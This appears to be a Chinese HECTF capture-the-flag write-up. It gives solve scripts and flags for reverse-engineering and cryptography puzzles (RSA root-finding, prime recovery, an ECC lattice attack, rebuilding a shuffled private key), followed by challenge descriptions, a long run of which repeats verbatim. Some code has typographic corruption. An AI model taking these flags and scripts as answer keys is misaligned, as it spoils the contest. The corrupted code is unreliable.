return v9 - __readfsqword(0x28u);
}

​ 不过这个函数显而易见是用来干扰人的,这里对字符串异或之后存放的是第一个字符串地址,但 flag 是第二个参数,所以程序分析完了,其他的都不咋有用了,之后就是直接找数据,在最后那个异或函数里面存在一个数组 dword_4020 [j],没有在函数中定义过,所以直接推测在全局变量里,双击跟进找到了,在 bss 段上:

1
2
3
4
5
6
7
.data:0000000000004020 ; _DWORD dword_4020[64]
.data:0000000000004020 dword_4020 dd 81, 67, 84, 67, 85, 66, 90, 118, 79, 70, 72, 115, 92
.data:0000000000004020 ; DATA XREF: sub_17A7+F8↑o
.data:0000000000004054 dd 70, 125, 107, 78, 80, 85, 104, 81, 85, 125, 62, 69
.data:0000000000004084 dd 93, 67, 103, 69, 62, 59, 61, 71, 73, 83, 32, 84, 89
.data:00000000000040B8 dd 67, 96, 64, 95, 73, 126, 69, 56, 117, 56, 71, 124, 37
.data:00000000000040EC dd 41, 90, 125, 89, 99, 95, 70, 87, 56, 95, 66, 121, 40

​ 提取数据,然后写个脚本,根据异或算法写:

1
2
for ( i = 0; i < v5; ++i )
v6[i] = *(char *)std::string::operator[](a1, i) ^ (i / 3);

​ exp 为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <iostream>

void compare(unsigned int flag[]);
unsigned int target[] = {81,67,84,67,85,66,90,118,79,70,72,115,92,70,125,107,78,80,85,104,81,85,125,62,69,93,67,103,69,62,59,61,71,73,83,32,84,89,67,96,64,95,73,126,69,56,117,56,71,124,37,41,90,125,89,99,95,70,87,56,95,66,121,40};

int main(){
compare(target);

return 0;
}

void compare(unsigned int flag[]){
int len = 64;
char f[100] = {0};

for (int i = 0; i < len; ++i){
f[i] = flag[i] ^ i / 3;
}

for (int i = 0;i < len; ++i ){
std::cout << f[i];
}

}

//QCTBTCXtMEKpXBynKUSnWRz9MUKnL717MBX+XUOmMRGpK7z7Wl58KlKqMUD+KVm=

​ 之后就是 base64 解密,不过这里出现了问题,base64 直接解密后发现有不可显示字符,并且再在之前没有任何关于操作 flag 的内容,并且 flag 应该是全是可显示的 HECTF{} 包起来的,所以应该是 base64 变表,找表。

​ 在之前的 base64 加密的那个函数里有个数组 dword_2040[i] ,跟进看看:

1
2
3
4
5
6
7
8
.rodata:0000000000002040 ; _DWORD dword_2040[64]
.rodata:0000000000002040 dword_2040 dd 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75
.rodata:0000000000002040 ; DATA XREF: sub_1920+7F↑o
.rodata:0000000000002074 dd 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88
.rodata:00000000000020A8 dd 89, 90, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 43
.rodata:00000000000020DC dd 47, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107
.rodata:000000000000210C dd 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118
.rodata:0000000000002138 dd 119, 120

​ 提取出来输出出来是:yzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvwx

​ 所以,这个就是变了之后的表,拿着这个去解密,成功得到 flag:

1
HECTF{8c7d051e5a0e9c567c86fed492720cc8d3389af1}

# Crypto:

# 迷茫的艾米莉

Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr

key: 6

YIUIT

Rail Fence Cipher Encode, 1 more - CyberChef

key: responsibility

HECTF

维吉尼亚密码在线加密解密 - 千千秀字 (qqxiuzi.cn)

# seven more

e 和 phi 不互素的情况下和欧拉值也不互素 甚至现在 e 和 q 也不互素了

与传统 amm 不同的是 还要求出所有的 mq7

以下是解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from Crypto.Util.number import *
from gmpy2 import *
import random
import math


n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201
c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066
e = 1009*7
p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223
q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687

def onemod(e, q):
p = random.randint(1, q-1)
while(powmod(p, (q-1)//e, q) == 1): # (r,s)=1
p = random.randint(1, q)
return p

def AMM_rth(o, r, q): # r|(q-1
assert((q-1) % r == 0)
p = onemod(r, q)

t = 0
s = q-1
while(s % r == 0):
s = s//r
t += 1
k = 1
while((s*k+1) % r != 0):
k += 1
alp = (s*k+1)//r

a = powmod(p, r**(t-1)*s, q)
b = powmod(o, r*a-1, q)
c = powmod(p, s, q)
h = 1

for i in range(1, t-1):
d = powmod(int(b), r**(t-1-i), q)
if d == 1:
j = 0
else:
j = (-math.log(d, a)) % r
b = (b*(c**(r*j))) % q
h = (h*c**j) % q
c = (c*r) % q
result = (powmod(o, alp, q)*h)
return result

def AMM_Solution(m, q, rt, cq, e):
mp = []
for pr in rt:
r = (pr*m) % q
# assert(pow(r, e, q) == cq)
mp.append(r)
return mp



def check(m):
try:
a = long_to_bytes(m)
if b'HECTF' in a:
print(a)
return True
else:
return False
except:
return False

def CHECK2(mp, mq, e, p, q):
i = 1
j = 1
t1 = invert(q, p)
t2 = invert(p, q)
for mp1 in mp:
for mq1 in mq:
j += 1
if j % 100000 == 0:
print(j)
ans = (mp1*t1*q+mq1*t2*p) % (p*q)
if check(ans):
return
return
def AMM_ROOT(r, q):
li = set()
while(len(li) < r):
p = powmod(random.randint(1, q-1), (q-1)//r, q)
li.add(p)
return li

cp = c % p
cq = c % q

mp = AMM_rth(cp, e, p)
mq = AMM_rth(cq, 1009, q)

rt1 = AMM_ROOT(e, p)
rt2 = AMM_ROOT(1009, q)

ammp = AMM_Solution(mp, p, rt1, cp, e)
ammq = AMM_Solution(mq, q, rt2, cq, 1009)

d = invert(7, q-1)
mqs = []
for mq in ammq:
mqs.append(pow(mq, d, q))
ammq = mqs
CHECK2(ammp, ammq, e, p, q)
##HECTF{go0d_jOb_At_AmM}

# 翻一翻:

爆破思路类似 RSA parity oracle。p,q 是 bit 翻转关系, 已知 p 最低的 k 位,则已知 q

最高的 k 位。假设已知 k 位的 p,q ,记为 ph,qh,利用不等式

ph ·qh.21024-2k <=n<(ph+1) ·(qh+ 1).21024-2k

逐位向低地址爆破,不断收缩不等式的范围,最终可求得 p,q 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993

def t(a, b, k):
if k == 77:
if a*b == n:
print(a, b)
return
for i in range(10):
for j in range(10):
a1 = a + i*(10**k) + j*(10**(154-k))
b1 = b + j*(10**k) + i*(10**(154-k))
if a1*b1 > n:
continue
if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n:
continue
if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))):
continue
t(a1, b1, k+1)

for i in range(10):
t(i*(10**77), i*(10**77), 0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64

from Crypto.Util.number import inverse, long_to_bytes

p = 39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201
q = 10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
e = 65537

n=p*q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
m = long_to_bytes(m)
m = base64.b64decode(m)
print(m)
#b'HECTF{I_rea1ly_l0ve_c2ypto!}'

# 不合格的魔药:

根据题目描述的提示可以看到题目中好几处参数不合理的地方,比如 p,q 的大小等,因为异或操作并不会把多余的部分去掉,所以密文中泄露了很多消息,但还有一个问题就是如何求 key,这时一个 ECDLP 问题,可以采用 MOV 攻击,不过既然参数不合理,也可以尝试爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from Crypto.Util.number import bytes_to_long,long_to_bytes
from Crypto.Cipher import AES
from hashlib import *

p = 9604080254440553624043823039323876524034439909584709693304859297324410855942111467832096190746534800378359779991381701244554754870303658957438266614583487
q = 7117529167860499983120234872664469946810713755399747931099511148595647881645694071900284496403308583631053530870961375928947111857317803005696543076720079
a = 4681007517868949260473646867708411042804596292653498068045093108939357065240201843535644313612886376810286247810943227474659270191834401055704514648846995
b = 5604862515726338933576748414825616582947323501967288114322080747741801017833194347273532400730033226601964489467416955741018175785792514035352083708135431
x = 5544706922427110224110125906620053049906095568886481576326706308027915868515721429471522223193053363494813044921519216114372968191072598748704528735817403
x1 = 0x2fa8e23f18ed4a9bd752a0c22b0750c17fbb66c76554e2089258fd979a5736b7766c974fb9788acf17fb065dc1daec6a8a6e98021de6c4ce3cde11dd54590e1d
y1 = 0xa3ce4bb1e25563b577a45cd06153d2dab584a70130c7ae71e65fe5e11b60493ccb845fbe4989dbd4a60d6a1ff12baa268b8833ed30f7c7e21c32268a139b5b6b
c = [36780810764729391947601691590378765170863850291763672158886689602006275675399596108959250284869355070618680265311484525337488013177333417742808496794250706127014303883956401715343247310936978778751394980638177344654524711571648231122027699452582302505466999915200896495338587961829985149664712686944510559820, 20958199004445348755624931477686903609410629089817702686793041731031202915294487428236505796231417377524290926704880107242252471250791747709149963693453815320856114055076830778689575609444155241642860745570792018879816650383543271943138193405548674967958109800776284787612370057476837642989670234913968669332, 19758181515666300263334531148587391869707566215385658759724970483060039216682585723722462835458856503531814316860237786892749700501436669071048571605926728917066797641628644730857333648930286503355701843365288276242984029888215453858844295912023305616753086127934173496355853797241944921600781294012353332277, 45576628433681427718167093217006549620067042472164439269014690121698560736312716407875326404496263261341269644373184438703912129559084380247641072914940830606649124606611794031719696797961847217643536070335745057048220615012019629278484208808353027070994021979997462190775853832457224157083880895894000484461]

# 先求key,可以用MOV攻击,也可以直接爆破,这里直接爆破了
Ep = EllipticCurve(GF(p), [a, 0])

G = Ep.lift_x(x)
hint1 = Ep(x1, y1)

for key in range(100000):
if hint1 == key * G:
print(key)
break
# key = 51517
# 然后求flag,可以用铜匠定理也可以构造格子
n = p*q
k = md5(long_to_bytes(key)).hexdigest().encode()
Cur=EllipticCurve(Zmod(n),[a,b])
aes = AES.new(k, AES.MODE_ECB)

m=[]
def recover(x,y):
M=Matrix(ZZ,[[1,0,0,0,0,0,1*2^512],
[0,2^128,0,0,0,0,3*x*2^512],
[0,0,2^256,0,0,0,(3*x^2+a)*2^512],
[0,0,0,2^128,0,0,-1*2^512],
[0,0,0,0,2^256,0,-2*y*2^512],
[0,0,0,0,0,2^512,(x^3+a*x-y^2+b)*2^512],
[0,0,0,0,0,0,n*2^512]])
v=M.LLL()[-1]
dx=int(v[2])//2^256
dy=int(v[4])//2^256
gx=x+dx
gy=y+dy
m.append(x^^gx)
m.append(y^^gy)
recover(c[0],c[1])
recover(c[2],c[3])
out=b''
for i in m:
out+=aes.decrypt(long_to_bytes(i))

flag = b'HECTF{'+ out+ b'}'
print(flag)

# 情书与破碎的证书

首先我们需要知道证书的基本格式 在证书中必然含有 -----BEGIN PRIVATE KEY-----
这一段可以拆成
2d 2d 2d 2d 2d 42 45 47 49

4e 20 50 52 49 56 41 54 45

20 4b 45 59 2d 2d 2d 2d 2d
和已经整理好的相比
49 47 45 42 2d 2d 2d 2d 2d

45 54 41 56 49 52 50 20 4e

2d 2d 2d 2d 2d 59 45 4b 20
很容易看出 1 和 9 换 2 和 8 换 3 和 7 换 4 和 6 换

我们将证书整理一下 可以得

30 82 04 bc 02 01 00 30 0d
06 09 2a 86 48 86 f7 0d 01
01 01 05 00 04 82 04 a6 30
82 04 a2 02 01 00 02 82 01
01 00 bd db 99 13 77 8d 23
15 44 9b 58 7f bd 7f 6e 41
94 4d 1c 9c 54 84 c9 b0 1f
bf 53 44 93 35 5c f8 84 89
cb f9 63 0f 42 99 bb 4d bb
84 df 7b d6 60 7b 7a 57 8f
84 e4 c6 d6 a7 0f 50 6c 16
a4 31 1b 15 08 e3 97 5d b7
1e 71 d6 d2 d1 7d d7 5b 9c
23 e2 d4 37 bc f7 f5 d9 50
6e 76 3c 71 22 a5 76 fd 5c
15 90 5a b4 5f eb a2 0a 24
12 86 28 5b 8b a5 d6 db d1
b7 d0 ce 97 5a b7 4e ae 33
8f e0 dd 5a 19 4d 02 91 8e
4f 0a d6 d1 60 f1 b7 30 74
3f c2 c8 eb 74 db 01 08 9d
21 0d 50 c5 aa 1f 25 97 93
b5 12 b2 6a 8f 3e 62 cc 6a
95 e9 ce f6 5e 5d 49 e9 e6
6d 35 2d db b1 40 8f a9 fe
5b 29 a1 64 2c 61 d2 c4 d3
2c 66 c5 6d d6 fa 36 39 b2
14 6b 1f 59 29 89 6a ba b4
b1 ed 35 ec f5 7d d6 30 ce
ca c1 5f cc 6b 74 3f 97 f0
86 f2 c6 04 0e 66 e9 1e 92
05 31 ba 61 2b e1 92 7b 67
54 52 5e 08 e5 19 02 03 01
00 01 02 82 01 00 04 62 04

中间被打碎了
d4 8d 90 d8 0f 02 81 80 51
a5 f7 e7 f4 c0 50 a5 0e 18
fd e1 2f ce e2 64 6f 2b 43
16 0b 0c 75 ab 49 25 e8 26
9a e8 0e 70 cf 12 73 4f 41
fa b1 8d 04 24 ed 7c ce b7
dd b2 7c be 0f 55 4f 7a 6e
16 98 d4 ec 5b a2 b4 8d 61
2e 23 37 ae b7 5f 8a 57 d8
15 5a 11 d0 7b 2c 49 d3 d9
7c 4f f0 cf b8 9e 6d d4 f3
6c c3 7c 01 0b 5b c8 93 56
a3 9b 57 6c c3 ed d0 3c dc
4d 79 1d f5 09 1a 55 71 df
1a 6c 15 ee da a0 77 3c f3
cf 02 81 80 0f c6 1f 05 d1
9c 96 ee c3 ed ca cc a3 4e
1d 3e 2c ab 43 9b eb ab 66
93 a3 ce 2c a9 9f 88 ab 9c
dd 18 3c eb 8e 80 1d 82 98
f8 35 35 98 64 ef 19 1d b3
f5 32 69 97 6b a0 4b 03 60
6e 54 08 59 de cd 05 80 5c
4a a7 9d c6 db 22 38 06 58
ea f0 bf fb a0 f4 e7 19 bc
f1 b1 e0 41 69 d8 e0 cb 3a
f4 d9 0b 2e 62 d7 c7 ed 30
45 d4 9b 52 5c a7 15 ca 3b
84 f0 7b 4e ce 27 d0 4d 17
95 29 9f a1 86 cd 02 81 80
25 c2 0a b2 52 9f 1e fd 3d
35 34 7c 57 3b 28 2a bf d9
5b 26 4c 92 f6 c4 f9 ec 8b
7c 71 32 06 fb ea 18 86 88
0e 29 a3 6c 47 ef 9b b7 53
ce 95 67 ea 4d 3e 08 3c 30
f3 44 02 2f 95 b7 cd 71 14
81 3b f6 a2 8e cc 67 d5 fe
05 95 32 42 68 4c d2 9c 1c
5d d8 a7 44 16 89 0e 5c 94
3c 70 90 4b a7 0e 34 9b 15
71 9a 46 6f 90 1f bf 0c fc
78 40 f8 03 2e 31 af bc cf
b8 4f 4a 81 7e a5 1c 8f 90
fd 6a 2d 2d 2d 2d 2d 45 4e
44 20 50 52 49 56 41 54 45
20 4b 45 59 2d 2d 2d 2d 2d

根据 rsa 证书格式 我们可以得到
标识头 30

总长度 82 04bc

版本信息 0201 00300d06092a864886f70d0101010500048204a6308204a2020100

n 02820101 00bddb9913778d2315449b587fbd7f6e41944d1c9c5484c9b01fbf534493355cf88489cbf9630f4299bb4dbb84df7bd6607b7a578f84e4c6d6a70f506c16a4311b1508e3975db71e71d6d2d17dd75b9c23e2d437bcf7f5d9506e763c7122a576fd5c15905ab45feba20a241286285b8ba5d6dbd1b7d0ce975ab74eae338fe0dd5a194d02918e4f0ad6d160f1b730743fc2c8eb74db01089d210d50c5aa1f259793b512b26a8f3e62cc6a95e9cef65e5d49e9e66d352ddbb1408fa9fe5b29a1642c61d2c4d32c66c56dd6fa3639b2146b1f5929896abab4b1ed35ecf57dd630cecac15fcc6b743f97f086f2c6040e66e91e920531ba612be1927b6754525e08e519

e 0203 010001

d 02820100

046204(没用)

q d48d90d80f(没用)

dp 028180

51a5f7e7f4c050a50e18fde12fcee2646f2b43160b0c75ab4925e8269ae80e70cf12734f41fab18d0424ed7cceb7ddb27cbe0f554f7a6e1698d4ec5ba2b48d612e2337aeb75f8a57d8155a11d07b2c49d3d97c4ff0cfb89e6dd4f36cc37c010b5bc89356a39b576cc3edd03cdc4d791df5091a5571df1a6c15eedaa0773cf3cf

dq 028180

0fc61f05d19c96eec3edcacca34e1d3e2cab439bebab6693a3ce2ca99f88ab9cdd183ceb8e801d8298f835359864ef191db3f53269976ba04b03606e540859decd05805c4aa79dc6db22380658eaf0bffba0f4e719bcf1b1e04169d8e0cb3af4d90b2e62d7c7ed3045d49b525ca715ca3b84f07b4ece27d04d1795299fa186cd

inv(q,p) 028180

25c20ab2529f1efd3d35347c573b282abfd95b264c92f6c4f9ec8b7c713206fbea1886880e29a36c47ef9bb753ce9567ea4d3e083c30f344022f95b7cd7114813bf6a28ecc67d5fe05953242684cd29c1c5dd8a74416890e5c943c70904ba70e349b15719a466f901fbf0cfc7840f8032e31afbccfb84f4a817ea51c8f90fd6a

在这里插入图片描述

可以通过 openssl 进行一些了解 或者修补私钥 但不是本题的考点
(上图为 openssl 中修好的秘钥 可以看到十六进制部分是相同的)

得到这些后 我们就可以来一个简单的 dp 泄露
但是要注意,我之前提到了明文中有中文,所以我们需要使用 PKCS1_OAEP 解密器
传统的解密脚本无效

以下是脚本

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import inverse, long_to_bytes
import binascii

hex_p = “0x00efaf90cae18eedc592a6cc57e6f4fb8812cd663274c90c0c82240b4a13c6d1772bab4f32f087cf3179f93513da0775529422f3c1ed5a0b8c2bd81bcd65a2451eab291585d1f39cc7dfc4c36ef2ff0e9be22d9252c80c7e11cd493542c27731965a5603dde878356433d07b99431eb69dc9856931583e9ced764503bded010857”
hex_q = “0x00cac7cc600b5e888df3f9e905d48d088d1a15819dbde1c8501028ffe3b02bf237acb277b43eda8a2110e9b6931cbfffe6eeade466611be17454f2d0c848a567e77065e82ff4f2aa0de7bfe1e622d060f67a5f6fc87e5859ed6aec857cf8124418b4c73a40628fdddd002504444acb31fb0b4ea35068ec8c1ffb933ed48d90d80f”
hex_e = “0x10001”
hex_c = “0x92c8bf09c04cf0193306f9203b19956fbcbe796c6e65fdaefeb49c5fb0391c1f78552d5fb4385ba3dfd11efb23759fdc386a2336e827b0be5b3514522b8063149d584edef58f2d64b4e8d6c9e5813de1d27b4c3fe970abfb4495700ed04b496bf1eb8d90b5a836ba3d852e0038d943ce116d691ec1490750c62b1cd19a1816ade9325c9ac739255b1c24e95cc387050ff521c3f60882efe33c66409498654ed39bc6c1253c21e3e78dc67937666a2ae64826cfe4767f24a5712069ec3a31e0f36ce4ef473041f8df8e553e72771d81b6ef75a95d29172483fcc33ea9c396f98af037527d4f6bd0cbf033e1f8263aba1f1cb35fca87e119c4b953526be191ada6”

p = int(hex_p, 16)
q = int(hex_q, 16)
e = int(hex_e, 16)
c = int(hex_c, 16)

n = p * q

phi_n = (p - 1) * (q - 1)

d = inverse(e, phi_n)

rsa_key = RSA.construct((n, e, d, p, q))

# 使用 PKCS1_OAEP 初始化解密器
cipher = PKCS1_OAEP.new (rsa_key)

# 将密文转为字节形式
ciphertext_bytes = long_to_bytes©

decrypted_message_bytes = cipher.decrypt(ciphertext_bytes)
# 将解密后的字节数据转换为字符串,使用 UTF-8 解码
message = decrypted_message_bytes.decode (‘utf-8’)
print(“Decrypted Message:”, message)

Decrypted Message: 你知道么,rsa 的大数分解的坚固就像爱情一样坚不可摧,你愿意让我们也像 rsa 一样坚不可摧么?但是你并不关心结局,你只关心你的 flag:HECTF

# 题目描述记录:

# Web:

# Are u happy

题目描述:

开始开心地玩耍吧!

# baby_sql

题目描述:

g01den 的公司里有个记录员工打卡的后台,只有 admin 才能登陆,但是,g01den 发现,每次去公司视察的时候公司里的员工总数始终和打卡了的员工数目对不上,g01den 怀疑公司里的某位员工利用了漏洞,于是他在后台程序里增加了一些 WAF,并且他对他自己的 WAF 很自信,并暗示了那位员工他在数据库里放了一个重要的信息(flag),能拿到这个信息(flag)的人年终可以获得额外的奖金。作为那位员工的你应该如何拿到这个信息获得奖金呢? flag 由 HECTF 开头,得到的答案请将 hectf 修改为大写 HECTF,flag 中除了开头的 HECTF 外,无大写字母

# baby_unserialize

题目描述:

一个简单的反序列化,一个简单的 RCE

# 你一个人专属的进货网站

题目描述:

w41tm00n 第一次学习开发网站,老板让他三天之内搞定。第二天,w41tm00n 终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是 w41tm00n 没学过网安的知识,写的网站存在漏洞你作为 w41tm00n 的好朋友,同时你是位网安的实习生,w41tm00n 就找到了你帮他测试网站是否存在漏洞。w41tm00n 跟你说,他放了一个线索在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag 文件)

# ezweb

题目描述:

Try to be admin to get flag!!!

提示 1Hint:xxxxx 为 c、e、f、h、t 这五个没大没小的字母

# ezjava

题目描述:

A 了这道题,我就承认你是真正的奶龙

# Re

# babyre

题目描述:

g01den 最近学会了一个简单的算法,于是他迫不及待的写下了这个程序。同时他在这个程序里面藏了一些秘密,你能发现他藏在程序里面的秘密吗?

# littleasm

题目描述:

百行代码里的藏匿的 flag

# PE?py?

题目描述:

在 pyre 里找到压缩包密码

# easyree

题目描述:

flag 格式 HECTF

# ezAndroid

题目描述:

# Pwn

# sign in

题目描述:

快来签到吧…

# find eggy

题目描述:

# Arcaea_Sorting

题目描述:

–为何我的眼里常含泪水,因为我爱这 libc,爱得深沉 ()

听好了:

XX 月 XX 日,g01den 自制的查分系统正式完工,每个部署了该系统的服务器都将会迎来一场漩涡,为这些服务器带来全新的危机。

你所购买的服务器都将迎来黑客的试炼,你所熟悉的服务器都将加诸栈溢出的历练。

至此,一锤定音。

尘埃,已然落定。

#HECTF #听好了 #韵律源点

# Arcaea_Sorting_Revenge

题目描述:

g01den 得知他写的查分器存在漏洞,他害怕到大晚上睡不着,第二天一早火急火燎地把程序重写了,但是他突然发现他学艺不精,突然不会写链表数据结构了,于是,他将查分器改成了存储分数的存储器,希望这次不会出现安全性问题。

# 喵喵喵

题目描述:

# lip

题目描述:

# Crypto

# 迷茫的艾米莉

题目描述:

题目描述:迷茫的艾米莉 描述:在维吉尼亚小镇,园丁艾米莉的 responsibility 是照顾一座古老花园,每天修剪六段绿篱栅栏。一天,她 发现通往秘密花园的小径,入口却被封上了,上面有一串密文 Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr,请输入密码帮助艾米莉探索秘密花园

# 翻一翻

题目描述:

小明最近失恋了,翻来覆去睡不着,请帮他找出失恋的关键信息

# seven more

题目描述:

more than more no co-prime

# 情书与破碎的证书

题目描述:

小明喜欢上了小红,他使用 rsa 向小红发送了无数封含有中文字符的情书。终于小红忍不住了,找到了大嘿阔将小明的私钥证书打成碎片,移除了中间的内容并把上下段的私钥部分转化成 16 进制,以九个为一组用相同的方式打乱(转化时产生的 0d0a 换行符已被移除)。作为密码学大佬的你能恢复证书,找出小红忍无可忍的证据么?

提示 1 情书与破碎的证书 hint1: 字符中含有中文 常规输出方法无效,请使用 PKCS1_OAEP 解密器,并使用 cipher.decrypt () 解密密文(毕竟考点是证书)

# 不合格的魔药

题目描述:

刚开始学习魔药的小 A 总是只关注魔药的颜色而忽略配比,这次他配置的魔药又是这样,这样一份不合格的魔药完全没办法达到对信息 “保密” 的效果了,请从这份面目全非的成品中还原出小 A 想隐藏的信息

# Misc

# Rem_You

题目描述:

# funny

题目描述:

看了半天电脑的小明非常劳累,便摸鱼去楼下的广场逛一逛但觉得广场太吵闹了,又去了水边看大爷们钓鱼,你能找出小明去的广场和水边的名字嘛

flag 格式 HECTF {北京市 - 区 - 广场名字 - 水边名字} HECTF

# 简单的压缩包

题目描述:

w41tm00n 是个 kisaki 推,某天在水群的时候,一个同为 kisaki 推的 g01den 在群里分享了个压缩包,并留言里面有一张 kisaki 的图,同时里面还存在着神秘的信息(这里是 flag),w41tm00n 对此很感兴趣,你可以帮他得到神秘的信息(flag)吗?

# 恶势力的仓库

题目描述:

恶势力的仓库惨遭毒手,就代表着毒手伸进了恶势力的仓库

# 恶势力的聊天记录

题目描述:

附件下载地址: 链接:https://pan.baidu.com/s/1bGEqgrRgqZ61U8TxAD7qNA 提取码:o07y

答案请将 hectf 修改为大写 HECTF,flag 中除了开头的 HECTF 外,无大写字母

# baby_unserialize

题目描述:

一个简单的反序列化,一个简单的 RCE

# 你一个人专属的进货网站

题目描述:

w41tm00n 第一次学习开发网站,老板让他三天之内搞定。第二天,w41tm00n 终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是 w41tm00n 没学过网安的知识,写的网站存在漏洞你作为 w41tm00n 的好朋友,同时你是位网安的实习生,w41tm00n 就找到了你帮他测试网站是否存在漏洞。w41tm00n 跟你说,他放了一个线索在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag 文件)

# ezweb

题目描述:

Try to be admin to get flag!!!

提示 1Hint:xxxxx 为 c、e、f、h、t 这五个没大没小的字母

# ezjava

题目描述:

A 了这道题,我就承认你是真正的奶龙

# Re

# babyre

题目描述:

g01den 最近学会了一个简单的算法,于是他迫不及待的写下了这个程序。同时他在这个程序里面藏了一些秘密,你能发现他藏在程序里面的秘密吗?

# littleasm

题目描述:

百行代码里的藏匿的 flag

# PE?py?

题目描述:

在 pyre 里找到压缩包密码

# easyree

题目描述:

flag 格式 HECTF

# ezAndroid

题目描述:

# Pwn

# sign in

题目描述:

快来签到吧…

# find eggy

题目描述:

# Arcaea_Sorting

题目描述:

–为何我的眼里常含泪水,因为我爱这 libc,爱得深沉 ()

听好了:

XX 月 XX 日,g01den 自制的查分系统正式完工,每个部署了该系统的服务器都将会迎来一场漩涡,为这些服务器带来全新的危机。

你所购买的服务器都将迎来黑客的试炼,你所熟悉的服务器都将加诸栈溢出的历练。

至此,一锤定音。

尘埃,已然落定。

#HECTF #听好了 #韵律源点

# Arcaea_Sorting_Revenge

题目描述:

g01den 得知他写的查分器存在漏洞,他害怕到大晚上睡不着,第二天一早火急火燎地把程序重写了,但是他突然发现他学艺不精,突然不会写链表数据结构了,于是,他将查分器改成了存储分数的存储器,希望这次不会出现安全性问题。

# 喵喵喵

题目描述:

# lip

题目描述:

# Crypto

# 迷茫的艾米莉

题目描述:

题目描述:迷茫的艾米莉 描述:在维吉尼亚小镇,园丁艾米莉的 responsibility 是照顾一座古老花园,每天修剪六段绿篱栅栏。一天,她 发现通往秘密花园的小径,入口却被封上了,上面有一串密文 Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr,请输入密码帮助艾米莉探索秘密花园

# 翻一翻

题目描述:

小明最近失恋了,翻来覆去睡不着,请帮他找出失恋的关键信息

# seven more

题目描述:

more than more no co-prime

# 情书与破碎的证书

题目描述:

小明喜欢上了小红,他使用 rsa 向小红发送了无数封含有中文字符的情书。终于小红忍不住了,找到了大嘿阔将小明的私钥证书打成碎片,移除了中间的内容并把上下段的私钥部分转化成 16 进制,以九个为一组用相同的方式打乱(转化时产生的 0d0a 换行符已被移除)。作为密码学大佬的你能恢复证书,找出小红忍无可忍的证据么?

提示 1 情书与破碎的证书 hint1: 字符中含有中文 常规输出方法无效,请使用 PKCS1_OAEP 解密器,并使用 cipher.decrypt () 解密密文(毕竟考点是证书)

# 不合格的魔药

题目描述:

刚开始学习魔药的小 A 总是只关注魔药的颜色而忽略配比,这次他配置的魔药又是这样,这样一份不合格的魔药完全没办法达到对信息 “保密” 的效果了,请从这份面目全非的成品中还原出小 A 想隐藏的信息

# Misc

# Rem_You

题目描述:

# funny

题目描述:

看了半天电脑的小明非常劳累,便摸鱼去楼下的广场逛一逛但觉得广场太吵闹了,又去了水边看大爷们钓鱼,你能找出小明去的广场和水边的名字嘛

flag 格式 HECTF {北京市 - 区 - 广场名字 - 水边名字} HECTF

# 简单的压缩包

题目描述:

w41tm00n 是个 kisaki 推,某天在水群的时候,一个同为 kisaki 推的 g01den 在群里分享了个压缩包,并留言里面有一张 kisaki 的图,同时里面还存在着神秘的信息(这里是 flag),w41tm00n 对此很感兴趣,你可以帮他得到神秘的信息(flag)吗?

# 恶势力的仓库

题目描述:

